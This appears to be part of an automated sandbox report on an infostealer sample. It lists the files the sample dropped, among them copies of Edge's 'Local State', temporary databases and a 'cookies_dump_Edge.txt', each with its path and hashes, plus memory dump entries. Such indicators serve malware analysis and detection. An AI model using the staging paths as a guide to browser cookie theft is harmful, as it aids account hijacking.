Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 014d92df2e50d08003bc2958074c38d5c64aba80534a8d15dbb264e65e312022
MD5 9c8ca2c6c3fc4cf7461946f2c4eddafc
SHA1 9c33bdfb2de70630923d56d4fc5809b285a33986
SHA512 0f64b837cc1eee67e8e8d85394cba49ccb804680931bd916d7a5bb9ded934e6b15469c09d47dd4dba800261fc6fe4cc66d3f308f506b49956236bcddbbb122dc
SSDEEP 192:4ONW6xsQmiUyuol8R/j2wzzSus66O6MGSuYezPwoC6s+1t1ctU6:4ONW62clW/j2suusYLu3YoCBU6
TLSH
T1C6120935686DFC676EE77585F18B33635EA420379D456F48E6E84F0C00EB66C370A826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 2499d0766b089b19736ed6e9f9eb677da72f8b26ae7be0c5469645b68a9b77eb
MD5 048e5321cf29f6f2ed53d773873465c8
SHA1 2a8a5d58a2eac5e59684fe3cad2e4b1fccca9329
SHA512 9199df47949a96baff7a41461139fc82ec269f55ee5078c4445727a1e500f3b603b13d62fad0aa155545d328d7658a4a5db39ab7da5ec313d1250da66a694f02
SSDEEP 192:tONI6xIQmiUyuoM8R/j2wzzSus66O6MFWHrA1U6:tONI6aGMW/j2suusYA01U6
TLSH
T1A502D639682DBCBB9EB3AE45F58677235F94203BA9512F48D6E84F1D00DB55C2306826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6ANXR3g.db

Path C:\Users\Admin\AppData\Local\Temp\6ANXR3g.db
Size 56KB
SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
MD5 f92de240ae86100670164298edba43f2
SHA1 5d9ede7e7743e75344ee7f996456693f82896e5d
SHA512 2e6b9cbd04baf609d91a0583d742b19c5dc6dd7b334349fac1a71563c140075408fe881388e1fff72f5c1c0124d0603d54d35f5039c544ee9c1350b4e1684c21
SSDEEP 96:/kS/KLPeymOoizhGNOnfmG38tmvJHbn8MouB6w9fUPnP:B4oizhGNOnDV77Iw9fK
TLSH
T15E43651F1B682802C8698632BCB194F36F7CA13E8F639E922CB044359D75852B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

JqDnXe3.db

Path C:\Users\Admin\AppData\Local\Temp\JqDnXe3.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cookies_dump_Edge.txt

Path C:\Users\Admin\AppData\Local\Temp\Sryxen\cookies_dump_Edge.txt
Size 2KB
SHA256 a4c3e240b212351acb5dd814d6bf4403dab9088f10122f6dfca6d0cac4172edd
MD5 7637838c3bc15a5e796071893515c7bb
SHA1 f2849ae5480cc5cdee215551bf761cfb7d8fac85
SHA512 8bfbee85175d3d4a2dae97760226256a825a7bc4f0f09d2482e6d8c3062ed50a0f785d44a51a88ccc4c3473b9cccff10d548d8fe2aebd2f4bedd49ba2ce26a51
TLSH
T1EA51F3B76EB64BC065CD1202F9B66F160A601D33B5A0F7AC776C5208350B9643DB284F
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_4vfllf5i.j5y.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4vfllf5i.j5y.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4132-264-0x000001C4C6680000-0x000001C4C66A2000-memory.dmp

Download

memory/4132-279-0x000001C4C6A50000-0x000001C4C6A62000-memory.dmp

Download

memory/4132-280-0x000001C4C6A40000-0x000001C4C6A4A000-memory.dmp

Download

memory/4132-291-0x000001C4AE2E0000-0x000001C4AE2EC000-memory.dmp

Download

memory/4432-1-0x00007FFD75F50000-0x00007FFD7605B000-memory.dmp

Download

memory/4432-292-0x00007FFD75F50000-0x00007FFD7605B000-memory.dmp

Download